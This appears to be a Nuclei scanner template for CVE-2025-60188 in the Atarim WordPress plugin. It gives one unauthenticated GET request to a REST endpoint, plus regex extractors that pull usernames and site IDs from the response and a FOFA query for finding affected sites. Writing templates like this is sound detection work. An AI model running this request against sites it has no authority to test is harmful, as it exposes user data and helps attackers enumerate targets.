Atarim < 4.2.2 - Sensitive Information Exposure

id: CVE-2025-60188

info:
  name: Atarim < 4.2.2 - Sensitive Information Exposure
  author: m4sh_wacker
  severity: high
  description: |
    Vito Peleg Atarim <= 4.2 contains an insertion of sensitive information into sent data vulnerability caused by improper handling of embedded sensitive data, letting attackers retrieve embedded sensitive data remotely, exploit requires no special privileges.
  impact: |
    Attackers can retrieve embedded sensitive data, potentially leading to information disclosure.
  remediation: |
    Update to the latest version beyond 4.2.
  reference:
    - https://github.com/m4sh-wacker/CVE-2025-60188-Atarim-Plugin-Exploit
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="atarim"
  tags: cve,cve2025,wordpress,wp-plugin,atarim,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/atarim/v1/db/vc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"wpf_site_id":"'
          - '"notify_user":'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: site_id
        part: body
        group: 1
        regex:
          - '"wpf_site_id":"([0-9]+)"'
        internal: true


      - type: regex
        name: username
        part: body
        group: 1
        regex:
          - '\\?"username\\?":\\?"([^"\\]+)'
        internal: true

      - type: dsl
        dsl:
          - '"username: "+ username'
          - '"Site_ID: "+ site_id'
# digest: 4b0a00483046022100ca73cca007fe42189cf5a0589443b06837b324b6a2d0c2f69e67b791394004a5022100e055d47ae5e409358d669d6c4b08dc8161cc00ff5dc5799d06d5cfc102dec89f:922c64590222798bb761d5b6d8e72950